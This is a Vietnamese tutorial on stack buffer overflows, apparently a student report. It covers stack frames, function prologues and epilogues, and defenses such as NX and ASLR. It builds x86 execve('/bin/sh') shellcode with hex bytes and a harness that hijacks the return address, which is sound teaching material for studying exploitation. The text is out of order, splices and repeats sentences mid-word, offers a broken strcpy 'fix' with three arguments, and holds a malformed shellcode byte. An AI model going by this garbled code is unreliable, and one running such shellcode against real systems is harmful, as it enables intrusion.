Có thể bảo vệ stack hơn nữa bằng cách phân tách stack thành hai phần, một phần dành cho dữ liệu và một phần cho các bước trả về của hàm. Sự phân chia này được dùng trong ngôn ngữ lập trình Forth, tuy nó không phải một quyết định thiết kế dựa theo tiêu chí an toàn. Nhưng dù sao thì đây cũng không phải một giải pháp hoàn chỉnh đối với vấn đề tràn bộ đệm, khi các dữ liệu nhạy cảm không phải địa chỉ trả về vẫn có thể bị ghi đè.
4. Bảo vệ không gian thực thi
Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm. Kỹ thuật này ngăn chặn việc thực thi mã tại stack hay heap. Một kẻ tấn công có thể sử dụng tràn bộ đệm để chèn một đoạn mã tùy ý vào bộ nhớ của một chương trình, nhưng với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một ngoại lệ (exception).
Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực thi") hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với phần mềm, các tính năng này có thể được dùng để đánh dấu các trang dữ liệu (chẳng hạn các trang chứa stack và heap) là đọc được nhưng không thực thi được.
Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính năng bảo vệ không gian thực thi (ví dụ W^X). Một số gói phần mềm tùy chọn bao gồm:
• PaX
• Exec Shield
• Openwall
Các biến thể mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực thi, với tên gọi Data Execution Prevention (ngăn chặn thực thi dữ liệu) . Các phần mềm gắn kèm (Add-on) bao gồm:
• SecureStack
• OverflowGuard
• BufferShield
• StackDefender
Phương pháp bảo vệ không gian thực thi không chống lại được tấn công return-to-libc.
5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ
Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address space layout randomization - ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các vùng dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư viện, heap và stack) một cách ngẫu nhiên trong không gian địa chỉ của một tiến trình.
Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm cho việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, nhưng phải là không thể được. Nó còn buộc kẻ tấn công phải điều chỉnh khai thác cho hợp với từng hệ thống cụ thể, điều này làm thất bại cố gắng của các con sâu Internet. Một phương pháp tương tự nhưng kém hiệu quả hơn, đó là kỹ thuật rebase đối với các tiến trình và thư viện trong không gian địa chỉ ảo.
6. Kiểm tra sâu đối với gói tin
Biện pháp kiểm tra sâu đối với gói tin (deep packet inspection - DPI) có thể phát hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ thuật này có khả năng chặn các gói tin có chứa chữ ký của một vụ tấn công đã biết hoặc chứa một chuỗi dài các lệnh No-Operation (NOP - lệnh rỗng không làm gì), các chuỗi như vậy thường được sử dụng khi vị trí của nội dung quan trọng (payload) của tấn công hơi có biến đổi.
Việc rà các gói tin không phải là một phương pháp hiệu quả vì nó chỉ có thể ngăn chặn các tấn công đã biết, và có nhiều cách để mã hóa một lệnh NOP. Các kẻ tấn công có thể đã sử dụng mã alphanumeric, metamorphic, và shellcode tự sửa để tránh bị phát hiện bởi việc rà gói tin.
Tràn bộ đêm là lỗi của phần mềm, xảy ra khi lượng dữ liệu ghi vào buffer lớn hơn kích thước của buffer. Lúc này phần dữ liệu dư ra sẽ được ghi vào phần bên cạnh của buffer gây ra rất lắm lỗi. Tràn bộ đệm được được các "hackers" sử dụng làm cách để khiến các đoạn mã của họ có thể chạy được bằng cách đưa chúng vào phần dữ liệu dư ra kia...
-Với kĩ thuật Buffer Overflow, cho phép một số lượng lớn dữ liệu được cung cấp bởi người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do đó gây cho hệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn thêm một đoạn mã bất kì. Nếu ứng dụng được cấu hình để được thực thi như root thì người tấn công có thể thao tác như một nhà quản trị hệ thống của web server. Hầu hết những vấn đề đều phát sinh từ khả năng lập trình yếu kém của những nhà lập trình. Đơn cử là sự cẩu thả trong kiểm tra kích thước dữ liệu nhập vào.
-Ví dụ 1:
char input[] = "aaaaaaaaaaa";
char buffer[10];
strcpy(buffer, input); // copy input vào buffer
-Khi chạy đoạn lệnh này sẽ sinh ra lỗi segmentation fault vì copy 11 byte vào buffer chỉ chứa được 10 byte. Còn đây là bản sửa lỗi:
char input[] = "aaaaaaaaaaa";
char buffer[10];
strcpy(buffer, input, sizeof(buffer)); Khoa CNTT
-Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong những kỹ thuật hacking kinh điển nhất.
2. Tổ chức bộ nhớ
Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo (logic) giống nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này như sau:
• Vùng Text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ
đọc (read-only). Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file
chương trình và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở vùng
này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này đều gây lỗi segmentation
violation.
• Vùng Data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến
toàn cục và biến tĩnh được chứa trong vùng này.
• Vùng Stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa
giá trị các biến cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác
trên bộ nhớ stack được thao tác theo cơ chế "vào sau ra trước" - LIFO (Last In,
First Out) với hai lệnh quan trọng nhất là PUSH và POP. Trong phạm vi bài viết
này, luận văn chỉ tập trung tìm hiểu về vùng stack.
2.2 Stack
2.2.1 . Định nghĩa Track
Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được dùng cho các thao tác đặc biệt dạng LIFO.
-Tổ chức của vùng stack gồm các stack frame được push vào khi gọi một hàm và pop ra khỏi stack khi trở về. Một stack frame chứa các thông số cần thiết cho một hàm: biến cục bộ, tham số hàm, giá trị trả về; và các dữ liệu cần thiết để khôi phục stack frame trước đó, kể cả giá trị của con trỏ lệnh (instruction pointer) vào thời điểm gọi hàm.
-Địa chỉ đáy của stack được gán một giá trị cố định. Địa chỉ đỉnh của stack được lưu bởi thanh ghi "con trỏ stack" (ESP – extended stack pointer). Tuỳ thuộc vào hiện thực, stack có thể phát triển theo hướng địa chỉ nhớ từ cao xuống thấp hoặc từ thấp lên cao. Trong các ví dụ về sau, chúng ta sử dụng stack có địa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện thực của kiến trúc Intel. Con trỏ stack (SP) cũng phụ thuộc vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên stack. Trong các minh hoạ về sau (với kiến trúc Intel x86), SP trỏ đến địa chỉ cuối cùng trên đỉnh stack.
-Về lý thuyết, các biến cục bộ trong một stack frame có thể được truy xuất dựa vào độ dời (offset) so với SP. Tuy nhiên khi có các thao tác thêm vào hay lấy ra trên stack, các độ dời này cần phải được tính toán lại, làm giảm hiệu quả. Để tăng hiệu quả, các trình biên dịch sử dụng một thanh ghi thứ hai gọi là "con trỏ nền" (EBP – extended base pointer) hay còn gọi là "con trỏ frame" (FP – frame pointer). FP trỏ đến một giá trị cố định trong một stack frame, thường là giá trị đầu tiên của stack frame, các biến cục bộ và tham số được truy xuất qua độ dời so với FP và do đó không bị thay đổi bởi các thao tác thêm/bớt tiếp theo trên stack.
-Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit (4 byte) trên các CPU Intel x86. (Trên các CPU Alpha hay Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên stack đều có kích thước theo bội số của word.
2.2.2 Các thao tác trên Stack
Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp).
• PUSH một giá trị vào stack: đưa giá trị ‘value’ vào đỉnh của stack. Giảm giá trị của %esp đi 1 word và đặt giá trị ‘value’ vào word đó
Hình 2: Push một giá trị vào stack
(1) ESP=ESP-kích thước của giá trị
(2) Value được đẩy vào stack
• POP một value ra khỏi stack: lấy giá trị từ đỉnh stack đưa vào ‘dest’. Đặt giá trị trỏ bởi %esp vào ‘dest’ và tăng giá trị của %esp lên 1 word
Hình.3:Pop một giá trị ra khỏi stack
Khoa CNTT
(1) Value được lấy ra khỏi stack
(2) ESP=ESP++ kích thước của giá trị
3. Cách làm việc của hàm
Một chương trình được chia thành nhiều đoạn mã gọi là thủ tục (procedure). Mỗi thủ tục chịu trách nhiệm về một hành động nào đó của chương trình. Mỗi thủ tục sau khi hoàn thành nhiệm vụ sẽ gọi thủ tục kế tiếp. Sau lời gọi một thủ tục, địa chỉ kế tiếp sau địa chỉ gọi thủ tục sẽ được lưu vào trong STACK.
Để giải thích hoạt động của chương trình khi gọi hàm, chúng ta sẽ sử dụng đoạn chương trình ví dụ sau:
/* fct.c */
void toto(int i, int j)
{
char str[5] = "abcde";
int k = 3;
j = 0;
return;
}
int main(int argc, char **argv)
{
int i = 1;
toto(1, 2);
i = 0;
printf("i=%d\n",i);
}
Quá trình gọi hàm có thể được chia làm 3 bước:
3.1 Khởi đầu (prolog)
Trước khi chuyển thực thi cho một hàm cần chuẩn bị một số công việc như lưu lại trạng thái hiện tại của stack, cấp phát vùng nhớ cần thiết để thực thi.
Một hàm luôn được khởi đầu với các lệnh máy sau:
push %ebp
mov %esp,%ebp
sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào từng hàm cụ thể)
3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. Hình sau giải thích bước khởi đầu của hàm toto() và giá trị của các thanh ghi %esp, %ebp.
-Giả sử ban đầu %ebp trỏ đến địa chỉ X bất kỳ trên bộ nhớ, %esp trỏ đến một địa chỉ Y thấp hơn bên dưới. Trước khi chuyển vào một hàm, cần phải lưu lại môi trường của stack frame hiện tại, do mọi giá trị trong một stack frame đều có thể được tham khảo qua %ebp, ta chỉ cần lưu %ebp là đủ. Vì %ebp được push vào stack, nên %esp sẽ giảm đi 1 word. Giá trị %ebp được push vào stack này được gọi là "con trỏ nền bảo lưu" (SFP - saved frame pointer).
Lệnh máy thứ hai sẽ thiết lập một môi trường mới bằng cách đặt %ebp trỏ đến đỉnh của stack (giá trị đầu tiên của một stack frame), lúc này %ebp và %esp sẽ trỏ cùng đến một vị trí có địa chỉ là (Y-1word).
Lệnh máy thứ ba cấp phát vùng nhớ dành cho biến cục bộ. Mảng ký tự có độ dài 5 byte, tuy nhiên stack sử dụng đơn vị lưu trữ là word, do đó vùng nhớ được cấp cho mảng ký tự sẽ là một bội số của word sao cho lớn hơn hoặc bằng kích thước của mảng. Dễ thấy giá trị đó là 8 byte (2 word). Biến k kiểu nguyên có kích thước 4 byte, vì vậy kích thước vùng nhớ dành cho biến cục bộ sẽ là 8+4=12 byte (3 word), được cấp phát bằng cách giảm %esp đi một giá trị 0xc (bằng 12 trong hệ cơ số 16).
Một điều cần lưu ý ở đây là biến cục bộ luôn có độ dời âm so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ dùng định vị gián tiếp để xác định vị trí của i:
movl $0x0,0xfffffffc(%ebp)
0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “-4” byte so với thanh ghi %ebp. i là biến đầu tiên trong hàm main() và có địa chỉ cách 4 byte ngay dưới %ebp.
sên dưới. Trước
3.2 Gọi hàm (call)
Khi hàm được gọi, các tham số được đặt vào stack và con trỏ lệnh (IP – instruction pointer) được lưu lại để cho phép chuyển quá trình thực thi đến đúng điểm sau gọi hàm.
Cũng giống như bước khởi đầu, bước này cũng chuẩn bị môi trường cho phép nơi gọi hàm truyền các tham số cho hàm được gọi và trở về lại nơi gọi hàm khi kết thúc.
Trước khi gọi hàm các tham số sẽ được đặt vào stack, theo thứ tự ngược lại, tham số cuối cùng sẽ được đặt vào trước. Trong ví dụ trên, trước tiên các giá trị 1 và 2 sẽ được đặt vào stack. Thanh ghi %eip giữ giá trị địa chỉ của lệnh kế tiếp, trong trường hợp này là chỉ thị gọi hàm.
Khi thực hiện lệnh call, %eip sẽ lấy giá trị địa chỉ của kế tiếp ngay sau gọi hàm (trên hình vẽ, giá trị này là Z+5 do lệnh gọi hàm chiếm 5 byte theo hiện thực của CPU Intel x86). Lệnh call sau đó sẽ lưu lại giá trị của %eip để có thể tiếp tục thực thi sau khi trở về. Quá trình này được thực hiện bằng một lệnh ngầm (không tường minh) đặt %eip lên stack:
push %eip
Giá trị lưu trên stack này được gọi là "con trỏ lệnh bảo lưu" (SIP – save instruction pointer), hay "địa chỉ trả về" (RET – return address).
Giá trị được truyền như một tham số cho lệnh call chính là địa chỉ của lệnh khởi đầu (prolog) đầu tiên của hàm toto(). Giá trị này sẽ được chép vào %eip và trở thành lệnh được thực thi tiếp theo.
Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán j=0 minh hoạ điều này. Mã hợp ngữ sử dụng định vị gián tiếp để truy xuất biến j:
movl $0x0,0xc(%ebp)
0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “+12” byte so với %ebp. j là tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte ngay trên %ebp (4 cho RET, 4 cho tham số đầu tiên và 4 cho tham số thứ 2).
3.3 Kết Thúc (epilog): khôi phục lại trạng thái như trước khi gọi hàm.
Thoát khỏi một hàm được thực hiện trong 2 bước. Trước tiên, môi trường tạo ra cho hàm thực thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, chúng ta phải kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra.
Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh:
leave
ret
Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng stack dùng chứa các tham số của hàm được gọi.
4. Shell code
4.1 Viết một shell code băng ngôn ngữ C
/* shellcode.c */
#include
#include
int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
_exit (0);
}
) Trong số các hàm dạng exec() được dùng để gọi thực thi một chương trình khác, execve() là hàm nên dùng. Lý do: execve() là hàm hệ thống (system-call) khác với các hàm exec() khác được hiện thực trong libc (và do đó cũng được hiện thực dựa trên execve()). Hàm hệ thống được thực hiện thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi định trước, do đó mã hợp ngữ tạo ra sẽ ngắn gọn.
Hơn nữa, nếu gọi execve() thành công, chương trình gọi sẽ được thay thế bởi chương trình được gọi và xem như mới bắt đầu quá trình thực thi. Nếu gọi execve() không thành công, chương trình gọi sẽ tiếp tục quá trình thực thi. Khi khai thác lỗ hổng, đoạn mã shellcode sẽ được chèn vào giữa quá trình thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh theo ý muốn, việc tiếp tục quá trình thực thi của chương trình là không cần thiết và đôi khi gây ra những kết quả ngoài ý muốn do nội dung của stack đã bị làm thay đổi. Vì vậy, quá trình thực thi cần được kết thúc ngay khi có thể. Ở đây chúng ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư viện libc được hiện thực dựa trên hàm hệ thống _exit().
Hãy ghi nhớ các tham số để truyền cho hàm execve() trên:
• chuỗi /bin/sh
• địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL)
• địa chỉ của mảng biến môi trường (ở đây là con trỏ NULL)
•
4.2 Giải mã hợp ngữ các hàm
Biên dịch shellcode.c với option debug và static để tích hợp các hàm được liên kết qua thư viện động vào trong chương trình.
[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static
Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb.
[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static
[SkZ0@gamma bof]$ gdb shellcode -q
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c : push %ebp
0x804818d : mov %esp,%ebp
0x804818f : sub $0x8,%esp
0x8048192 : movl $0x0,0xfffffff8(%ebp)
0x8048199 : movl $0x0,0xfffffffc(%ebp)
0x80481a0 : mov $0x806f388,%edx
0x80481a5 : mov %edx,0xfffffff8(%ebp)
0x80481a8 : push $0x0
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
0x80481ae : push %edx
0x80481af : call 0x804c6ec <__execve>
0x80481b4 : push $0x0
0x80481b6 : call 0x804c6d0 <_exit>
End of assembler dump.
(gdb)
Để ý lệnh sau:
0x80481a0 : mov $0x806f388,%edx
Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx.
0x80481a0 : mov $0x806f388,%edx
(gdb) printf "%s\n", 0x806f388
/bin/sh
(gdb)
Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi %edx. Trước khi gọi các hàm thấp hơn của thư viện C hiện thực hàm hệ thống execve() các tham số được đặt vào stack theo thứ tự:
• con trỏ NULL
0x80481a8 : push $0x0
• địa chỉ của mảng tham số
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
• địa chỉ của chuỗi /bin/sh
0x80481ae : push %edx
Hãy xem các hàm execve() và _exit()
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c6ec <__execve>: push %ebp
0x804c6ed <__execve+1>: mov %esp,%ebp
0x804c6ef <__execve+3>: push %edi
0x804c6f0 <__execve+4>: push %ebx
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
0x804c6f4 <__execve+8>: mov $0x0,%eax
0x804c6f9 <__execve+13>: test %eax,%eax
0x804c6fb <__execve+15>: je 0x804c702 <__execve+22>
0x804c6fd <__execve+17>: call 0x0
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
0x804c708 <__execve+28>: push %ebx
0x804c709 <__execve+29>: mov %edi,%ebx
0x804c70b <__execve+31>: mov $0xb,%eax
0x804c710 <__execve+36>: int $0x80
0x804c712 <__execve+38>: pop %ebx
0x804c713 <__execve+39>: mov %eax,%ebx
0x804c715 <__execve+41>: cmp $0xfffff000,%ebx
0x804c71b <__execve+47>: jbe 0x804c72b <__execve+63>
0x804c71d <__execve+49>: call 0x80482b8 <__errno_location>
0x804c722 <__execve+54>: neg %ebx
0x804c724 <__execve+56>: mov %ebx,(%eax)
0x804c726 <__execve+58>: mov $0xffffffff,%ebx
0x804c72b <__execve+63>: mov %ebx,%eax
0x804c72d <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804c730 <__execve+68>: pop %ebx
0x804c731 <__execve+69>: pop %edi
0x804c732 <__execve+70>: leave
0x804c733 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c6d0 <_exit>: mov %ebx,%edx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804c6d6 <_exit+6>: mov $0x1,%eax
0x804c6db <_exit+11>: int $0x80
0x804c6dd <_exit+13>: mov %edx,%ebx
0x804c6df <_exit+15>: cmp $0xfffff001,%eax
0x804c6e4 <_exit+20>: jae 0x804ca80 <__syscall_error>
End of assembler dump.
(gdb) quit
Hệ điều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 0x80, ở các địa chỉ 0x804c710 cho execve() và 0x804c6db cho _exit(). Các địa chỉ này thường không giống nhau đối với mỗi hàm hệ thống, đặc điểm để phân biệt chính là nội dung thanh ghi %eax. Xem ở trên, giá trị này là 0xb với execve() trong khi _exit() là 0x1.
H ình 4: Hàm execve và tham số
Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận sau:
• trước khi gọi thực thi hàm __execve() bằng gọi ngắt 0x80:
o thanh ghi %edx giữ giá trị địa chỉ của mảng biến môi trường:
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
Để đơn giản, chúng ta sẽ sử dụng biến môi trường rỗng bằng cách gán giá trị này bằng một con trỏ NULL.
o thanh ghi %ecx giữ giá trị địa chỉ của mảng tham số
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
Tham số đầu tiên phải là tên của chương trình, ở đây dơn giản chỉ là một mảng dùng để chứa địa chỉ của chuỗi "/bin/sh" và kết thúc bằng một con trỏ NULL.
o thanh ghi %ebx giữ địa chỉ của chuỗi tên chương trình cần thực thi, trong trường hợp này là "/bin/sh"
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
...
0x804c709 <__execve+29>: mov %edi,%ebx
• hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả về cho quá trình cha (thường là shell) được lưu trong thanh ghi %ebx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa chuỗi "/bin/sh", một con trỏ đến chuỗi này và một con trỏ NULL (để kết thúc mảng tham số, đồng thời là con trỏ biến môi trường). Những dữ liệu trên phải được chuẩn bị trước khi thực thiện gọi execve().
4.3 Định vị shellcode trên bộ nhớ
Thông thường shellcode sẽ được chèn vào chương trình bị lỗi thông qua tham số dòng lệnh, biến môi trường hay chuỗi nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo shellcode chúng ta cũng không thể biết được địa chỉ của nó. Không những thế chúng ta còn buộc phải biết trước địa chỉ chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có thể giải quyết được trở ngại đó. Có hai cách để định vị shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp để đảm bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ trình bày cách định vị shellcode dùng stack.
Để chuẩn bị mảng tham số và con trỏ biến môi trường cho hàm execve(), chúng ta sẽ đặt trực tiếp chuỗi "/bin/sh", con trỏ NULL lên stack và xác định địa chỉ thông qua giá trị thanh ghi %esp. Mã hợp ngữ sẽ có dạng sau:
beginning_of_shellcode:
pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh
pushl "/bin/sh" // chuỗi /bin/sh
movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh
push NULL // con trỏ NULL của mảng tham số
...
(mã hợp ngữ của shellcode)
4.4 Vấn đề byte giá trị null
Các hàm bị lỗi thường là các hàm xử lý chuỗi như strcpy(), scanf(). Để chèn được mã lệnh vào giữa chương trình, shellcode phải được chép vào dưới dạng một chuỗi. Tuy nhiên, các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0). Do đó, shellcode của chúng ta phải không được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật để loại bỏ giá trị null, ví dụ lệnh:
push $0x00
Sẽ được thay thế tương đương bằng:
xorl %eax, %eax
push %eax
Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát sinh khi chuyển các mã lệnh sang dạng hexa. Ví dụ, lệnh chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit():
0x804c6d6 <_exit+6>: mov $0x1,%eax
Chuyển sang dạng hexa sẽ thành chuỗi:
b8 01 00 00 00 mov $0x1,%eax
Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một thanh ghi có giá trị 0, sau đó tăng nó lên 1 (hoặc cũng có thể dùng lệnh movb thao tác trên 1 byte thấp của %eax)
31 c0 xor %eax,%eax
40 inc %eax
4.5 Tạo shellcode
Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. Chương trình tạo shellcode:
/* shellcode_asm.c */
int main()
{
asm("
/* push giá trị null kết thúc /bin/sh vào stack */
xorl %eax,%eax
pushl %eax
/* push chuỗi /bin/sh vào stack */
pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */
pushl $0x6e69622f /* chuỗi /bin */
/* %ebx chứa địa chỉ chuỗi /bin/sh */
movl %esp, %ebx
/* push con trỏ NULL, phần tử thứ hai của mảng tham số */
pushl %eax
/* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham số */
pushl %ebx
/* %ecx chứa địa chỉ mảng tham số */
movl %esp,%ecx
/* %edx chứa địa chỉ mảng biến môi trường, con trỏ NULL */
/* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */
movl %eax, %edx
/* Hàm execve(): %eax = 0xb */
movb $0xb,%al
/* Gọi hàm */
int $0x80
/* Giá trị trả về 0 cho hàm _exit() */
xorl %ebx,%ebx
/* Hàm _exit(): %eax = 0x1 */
movl %ebx,%eax
inc %eax
/* Gọi hàm */
int $0x80
");
}
Dịch shellcode trên và dump ở dạng hợp ngữ:
[SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c
[SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17
08048380 :
8048380: 55 pushl %ebp
8048381: 89 e5 movl %esp,%ebp
8048383: 31 c0 xorl %eax,%eax
8048385: 50 pushl %eax
8048386: 68 2f 2f 73 68 pushl $0x68732f2f
804838b: 68 2f 62 69 6e pushl $0x6e69622f
8048390: 89 e3 movl %esp,%ebx
8048392: 50 pushl %eax
8048393: 53 pushl %ebx
8048394: 89 e1 movl %esp,%ecx
8048396: 89 c2 movl %eax,%edx
8048398: b0 0b movb $0xb,%al
804839a: cd 80 int $0x80
804839c: 31 db xorl %ebx,%ebx
804839e: 31 c0 xorl %eax,%eax
80483a0: 40 incl %eax
80483a1: cd 80 int $0x80
Hãy chạy thử shellcode trên:
/* testsc.c */
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";
int main()
{
int * ret;
/* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */
/* khoảng cách so với biến ret là 8 byte (2 word): */
/* - 4 byte cho biến ret */
/* - 4 byte cho giá trị bảo lưu %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
[SkZ0@gamma bof]$ gcc testsc.c -o testsc
[SkZ0@gamma bof]$ ./testsc
bash$ exit
[SkZ0@gamma bof]$
Ta có thể thêm vào các hàm để mở rộng tính năng của shellcode, thực hiện các thao tác cần thiết khác trước khi gọi "/bin/sh" như setuid(), setgid(), chroot(),... bằng cách chèn mã hợp ngữ của các hàm này vào trước đoạn shellcode trên.
Chống tấn công tràn bộ đệm
Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đNhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên, loại bảo vệ này không thể áp dụng ệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự độNhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên, loại bảo vệ này không thể áp dụng cho mã thừa kế (legacy code), và nhiều khi các ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng một ngôn ngữ không an toàn. Các mục sau đây mô tả các lựa chọn và cài đặt hiện có.
1.Lựa chọn ngôn ngữ lập trình
Lựa chọn về ngôn ngữ lập trình có thể có một ảnh hưởng lớn đối với sự xuất hiện của lỗi tràn bộ đệm. Năm 2006, C và C++ nằm trong số các ngôn ngữ lập trình thông dụng nhất, với một lượng khổng lồ các phần mềm đã được viết bằng hai ngôn ngữ này. C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập hoặc ghi đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp lệ; cụ thể, hai ngôn ngữ này không kiểm tra xem dữ liệu được ghi vào một mảng (cài đặt của một bộ nhớ đệm) có nằm trong biên của mảng đó hay không. Tuy nhiên, cần lưu ý rằng các thư viện chuẩn của C++, thư viện khuôn mẫu chuẩn - STL, cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Cũng như đối với các tính năng bất kỳ khác của C hay C++, mỗi lập trình viên phải tự xác định lựa chọn xem họ có muốn chấp nhận các hạn chế về tốc độ chương trình để thu lại các lợi ích tiềm năng (độ an toàn của chương trình) hay không.
Một số biến thể của C, chẳng hạn Cyclone, giúp ngăn chặn hơn nữa các lỗi tràn bộ đệm bằng việc chẳng hạn như gắn thông tin về kích thước mảng với các mảng. Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng con trỏ và kiểm tra biên do người dùng xác định.
